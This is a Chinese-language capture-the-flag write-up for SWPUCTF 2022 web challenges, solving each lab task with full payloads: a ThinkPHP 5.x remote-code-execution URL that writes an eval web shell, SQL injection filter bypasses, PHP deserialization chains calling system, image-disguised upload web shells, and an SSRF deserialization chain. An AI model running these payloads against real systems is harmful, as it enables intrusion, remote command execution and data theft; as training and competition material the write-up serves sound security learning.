SWPUCTF 2022
ez_ez_php
打开环境得到源码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
文件包含,利用伪协议读取,构造payload:
http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag
然后base64解码得到flag
ez_rce
f12,看不到啥,抓包抓不到什么东西
用dirsearch扫一下,发现有robots.txt
访问一下,发现hint/NSS/index.php
访问一下
一时间没什么思路,google一下ThinkPHP V5
发现是个CVE
ThinkPHP 5.x 远程命令执行漏洞分析与复现
由于靶机和本地搭建环境不同,以下给出两种payload
flag不在/flag
中,flag路径是/NSS/ctf/flag/flag
一、写入shell
payload:
http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET["code"])?>
该代码就是写入了一个test.php
,内容是一个shell,接下来就可以利用shell来读取flag,payload:
不是我不想用蚁剑连,而是不知道为什么连不上去
http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);
二、直接读取flag
可以利用find命令来找到flag,毕竟不好找
http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)
或者一个一个的找来读取flag文件
http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag
奇妙的MD5
hint:可曾听过ctf 中一个奇妙的字符串
先提交查询然后抓个包看看
可以看到我们提交的数据都会经过md5解密
然后再进行处理
所以首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入
。
or
这个字符串是必要的,同时为了配对原先sql语句里面有的单引号
,在or的两边要有单引号
,使它变成 password=‘xxx’or‘xxx’
的形式。
所以我们需要的字符串的原始二进制格式的字符串里要包含 'or'
如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, 'or'
对应的16进制是 276f7227
,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227
这个字段的。
接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字
,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx
ffifdyop
,这个点的原理是 ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c
,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’
所以将ffifdyop
提交查询,进入新界面
f12查看源码,md5弱比较
,直接数组绕过就可以
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
构造payload:
node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2
进入新界面,得到源码
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}
这次就是md5强比较,构造payload:
wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
ez_ez_php(revenge)
打开环境得到源码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
也是利用伪协议,直接构造payload:
http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php
然后base64解码解码一下,擦,被骗了
重新构造payload:
http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag
这次base64解码可以得到flag了
1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
这里考察反序列化,利用点在
$a($this->lly);
这里可以让$a
为system
来进行命令执行,并且在函数销毁时会被设置为$lt
的值
构造exp:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __construct()
{
$this->lt ="system";
$this->lly="ls /";
}
}
$a=new lyh();
echo (serialize($a))
?>
payload:
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
然后利用POST
发包
修改命令得到flag
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}
numgame
dirsearch扫一下,可以看到有一些文件
访问一下flag.php
然后打开F12
,然后再去访问index.php
,查看源代码
可以得到
NSSCTF{TnNTY1RmLnBocA==}
解码一下
然后去访问NsScTf.php
文件,得到代码
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}
- 它包含了一个名为 “flag.php” 的文件的内容。这个文件可能包含了一些敏感信息,可能是题目的解答或者标志。
- 定义了一个名为
nss
的类,其中有一个静态方法ctf
。在这个方法内部,包含了一个名为 “hint2.php” 的文件。- 如果通过GET请求传递了参数
p
,则会进入条件判断。在条件判断内部,使用正则表达式检查参数p
是否包含字符 “n” 或 “c”,如果包含就会输出 “no” 并终止程序。- 如果条件判断没有通过,就会调用
call_user_func
来执行参数p
对应的函数。- 如果没有传递参数
p
,则会使用highlight_file
函数将当前文件的源代码高亮显示在浏览器中。
这里正则匹配会匹配GET
方式传参的p
的值,结合第一个hint,我们推测需要用POST
形式发包
其实这里用大小写绕过也可以,因为这个正则匹配没有用
/i
来忽略大小写
这里看到有hint2.php
,访问一下hint2.php
,得到第二个hint
所以进行post发包,类名是nss2
,函数还是ctf
构造payload:
p=nss2::ctf
其实这里hint2.php
是按照类似的方式来查看的,但是能直接看
where_am_i
打开环境
推测是输入手机号码,用识图网站看一下
查一下古迹酒店
的电话号码
得到电话号码,去掉括号
02886112888
踩坑点:这里输了好几次都没有用,还以为是电话号码的问题,重新进一下环境就好了
然后输入可以得到flag
ez_ez_unserialize
源码如下
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
这里__FILE__
的作用是获取当前文件
然后在反序列化开始的时候触发__wakeup()
魔术方法,来检测$x
的值是否为当前文件名,如果不是,则重新赋值为__FILE__
然后在反序列化结束的时候触发__destruct()
魔术方法,来显示文件文件内容
染过__wakeup()
之前先看看PHP版本
可以看到PHP5版本 <5.6.25
所以可以利用对象的属性数量不一致方法来绕过
先构造exp,flag在fllllllag.php
<?php
class X
{
public $x;
function __construct()
{
$this->x = "fllllllag.php";
}
}
$a=new X();
echo serialize($a);
运行得到
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改属性数量
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
然后get传参,payload
http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}
得到flag
js_sign
F12可以看到源代码
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
if (btoa(flag.value) == 'dGFwY29kZQ==') {
alert("you got hint!!!");
} else {
alert("fuck off !!");
}
})
将dGFwY29kZQ==
解码可以得到tapcode
敲击码(?),没见过,直接去空格解码flag
敲击码在线解密
将字符串去空格得到
3343431344215434452124331421311122125444113513341415
反查得到
n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)
得到flag
NSSCTF{youfindflagbytapcode}
xff
打开环境
猜测是XFF伪造
,burp抓包然后伪造
X-Forwarded-For:127.0.0.1
说明必须从主页跳转,Referer
伪造
Referer:127.0.0.1
得到flag
ez_sql
提示我们要用相对安全的方式传参,所以这里用POST
传参,如果用GET会弹出报错
先判断闭合方式
根据报错方式可以得知闭合方式是单引号
接下来尝试一下联合注入
nss=1' union select 1,2,3;#
根据报错信息,可以发现union
和空格
是会被消除的,这里union
尝试用双写替代一下,空格试试/**/
构造payload:
nss=2'/**/ununionion/**/select/**/1,2,3;#
绕过成功
接下来爆库
nss=2'/**/ununionion/**/select/**/1,database(),3;#
爆表
这里爆表的时候注意一下,or
会被消除,所以双写一下
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#
爆字段
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#
获取数据
nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#
不知道为什么是两个。。。。Secr3t那个表里的是对的
webdog1__start
F12可以看到代码
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
对于$a==md5($a)
这种类型的弱比较,数组是绕过不了的,这里用0e
绕过弱比较
payload:
?web=0e215962017
然后进入到start.php
界面
然后继续Ctrl+U
查看前端代码,可以看到hint
这里的bot
指的就是robots.txt
,访问一下
这里不知道为什么用火狐直接访问中文乱码了(
然后去访问f14g.php
抓包从返回头可以看到hint
接下来去访问F1l1l1l1l1lag.php
访问得到代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
我们需要以get方式传入get参数
并且传入参数不能存在空格
,如果有flag
,把flag
利用str_ireplace()
函数变成空格
字符串的长度要小于等于18
,如果以上条件都满足,就会利用eval
来执行get参数
绕过空格的方式很多,经常用到的是两个<
重定向符,和间隔符$IFS
因为IFS
为系统变量,默认值为空格
,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数
的方式绕过空格过滤
但是我们并不能直接使用命令+$IFS+参数
的方法进行绕过,比如cat$IFSflag
,这样是不可以的,因为linux系统或将$IFSflag
看做一个整体
,从而不能正常的被解析为空格
。所以需要在$IFS
后面进行截断,以保证$IFS
被成功解析有几种方式:
- 利用绝对路径前面的
/
分隔cat$IFS/flag.php
- 利用通配符
?
分隔 ,?
在linux里面可以进行代替字母
在linux里面可以进行模糊匹配
cat$IFS?lag.php
3.利用${}
分隔cat${IFS}flag.php
4.可以创建自定义变量:a=参数
,命令$IFS$a
cat$IFS$aflag.php
5.未过滤"0~9"、"@"、"*"命令$IFS$
通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令
格式:cat<fileName cat<>flag.txt
对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
其他绕过方式:制表符%09
、%0a
制表符\t
至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*
进行模糊匹配
而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种
最终payload:
?get=system("nl%09/*");
?get=system("nl\t/*");
或者利用自定义变量
?get=eval($_GET['A']);&A=system('cat /flag');
funny_php
打开环境得到源代码
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
一层一层来,需要我们传入num
,并且长度要字符长度<=3
并且数字>999999999
这里可以利用指数e
绕过
构造payload
?num=9e9
然后我们需要传入str
的值为NSSCTF
,但是这里会通过正则匹配然后将NSSCTF
替换为空,但是这里不会循环检测替换后的str
,可以利用双写绕过
构造payload:
?num=9e9&str=NNSSCTFSSCTF
然后POST
传入md5_1
和md5_2
,要求这两个值都是字符串,并且md5_1!==md5_2
,并且两个值md5加密后的值相同,但是这里是弱比较
这里选择用0e绕过弱比较
对于某些特殊的
字符串
加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同
POST传参
md5_1=QNKCDZO&md5_2=PJNPDWY
最后请求头如下
ez_1zpop
代码如下
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
构造pop链
这里的要在fin
类的fmm()
函数进行命令执行
向上找,发现是在__toString()
魔术方法会触发impo
的值的fmm()
函数
__toString(): 当一个对象被当作字符串使用时触发
所以向上找是__destruct()
,pop如下
fin::fmm() <- lt::__toString <- lt::__destruct
在构造exp的时候要__toString()
的条件,我们需要构造传入md51
和md52
的值,并且md5加密后值相等,但是md51
不能等于md51
,这里是弱比较,可以利用0e绕过弱比较
(这里跟上一题一样)
exp:
<?php
class lt
{
public $impo;
public $md51 = 'QNKCDZO';
public $md52 = 'PJNPDWY';
function __construct()
{
$this->impo = new fin();
}
}
class fin
{
public $a;
public $url = '111';
public $title ;
function __construct()
{
$this->a = 'system';
$this->title='ls /';
}
}
$a = new lt();
echo serialize($a);
运行生成
O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}
但是这里注意一下__wakeup()
魔术方法
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
他会将impo
的值赋为new dxg
,这就不能进入到我们的fin
类,所以要对__wakeup()
进行绕过,看一下版本
PHP/5.5.38,那么就说明可以用对象的属性数量不一致这个方法
修改payload:
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}
然后再修改命令为cat /f*
得到flag
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}
Ez_upload
文件上传,先上传php文件试试
黑名单过滤,那就利用.htaccess
文件进行绕过,上传.htaccess
,内容如下
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
先上传.htaccess
文件
但是这里还是上传失败,应该还是存在过滤,修改一下MIME类型
这样就上传成功了,然后上传jpg
图片马
换个类型,说明存在文件类型检测,前面加个文件头,GIF89a
,加了之后还是不行(有完没完
应该是存在短标签过滤,换个内容传一下
GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>
然后去访问一下
http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg
接着进行RCE
然后看一下flag
的内容,发现没东西,被骗了
看一下phpinfo
http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();
得到flag
funny_web
随便输个账号密码,弹出hint
用户名是NSS
,密码随便输
密码是2122693401
,登录,得到源代码
谢队夹带私货是吧
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}
然后这里绕过intval()
函数就可以了,这里可以用小数绕过
构造payload:
http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6
传参得到flag
file_master
题目存在文件查看功能,但是不能直接查看flag,权限不够
先查看index.php
可以得到源码
<?php
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("image/jpeg");
$filetype = $_FILES["file"]["type"];
if(in_array($filetype,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id())){
mkdir("upload/".session_id());
}
$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
$content = file_get_contents($save_path);
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file type!image/jpeg only!!");
}
}else{
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
}
?>
可以看到会检测MIME
类型,只允许image/jpeg
然后将文件上传之后会进行正则匹配,如果文件内容中含有php
(不区分大小写)那么久就会延迟五秒之后移除该文件
这里其实就是短标签过滤,换个短标签即可绕过
php短标签绕过
php中最常见的标签为<?php ?>
不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:
①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;
②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~
上述二者的短标签都不必闭合(即?>可以省略不写,也可以连接成功
<? @eval($_POST['a']);?>
<?= @eval($_POST['a']);?>
<? @eval($_POST['a']);
<?= @eval($_POST['a']);
然后上传一句话木马
存在文件头检测,那就加个文件头GIF89a
然后回显提示图像的宽和高必须小于20
记得去掉上面的那个phpinfo()
这里就上传成功了
然后利用sessionid
和filename
进行RCE
payload:
http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);
Power!
F12可以查看hint
source
,随便传参让其等于一个数
http://node5.anna.nssctf.cn:28431/?source=1
得到源码
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>
从这一段可以看出,查询的文件会通过file_get_contents()
函数以base64编码的形式输出,所以可以看一下flag.php
解码一下得到
<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>
这道题目的且切入点在FileViewer
中的loadfile()
方法中,有代码可以实现curl
命令,根据flag.php
中的内容,我们可以curl 127.0.0.1:65500/flag
向上找,要想触发loadfile()
函数需要先触发FileViewer
的__call()
魔术方法
__call() :在对象上下文中调用不可访问的方法时触发
那就找找如何来触发__call()
魔术方法,可以看到在Backdoor
的__destruct()
魔术方法会访问一个不存在的方法c()
__destruct() :对象被销毁时触发
但是在此之前会先进入到goodman
方法来进行重新赋值,将$a
类中的$b
属性重新赋值为该类,也就是Backdoor
中$superhacker
的值
链子构造到这里还没有解决最关键的一点,就是设置我们curl
的路径,通过审计代码
$file = $this->curl($this->local.$this->path);
可以得知,curl
的路径是由FileViewer
中local
和path
决定的,正好,我们可以通过$a
变量来创建一个新的FileViewer
对象
构造exp的时候可以修改一下black_list
的值,让他不在过滤flag
,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize
之前会先进行一次base64解码
构造exp
<?php
class FileViewer{
public $black_list;
public $local;
public $path;
public function __construct()
{
$this->black_list="web so difficult~";
$this->local='take it easy';
$this->path="flag";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker;
public function __construct()
{
$this->a=new FileViewer();
$this->b="local";
$this->superhacker="127.0.0.1:65500/";
}
}
$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>
这里构造的时候踩了个坑,一开始只创建了Backdoor
一个对象,所以就是Backdoor
里面包含着FileViewer
,但是经过反序列化之后,执行的loadfile
函数只有FileViewer
类存在,所以要FileViewer
中包着Backdoor
运行生成
TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=
利用path_info
传参
构造payload:
http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=
得到flag
base64解码后得到flag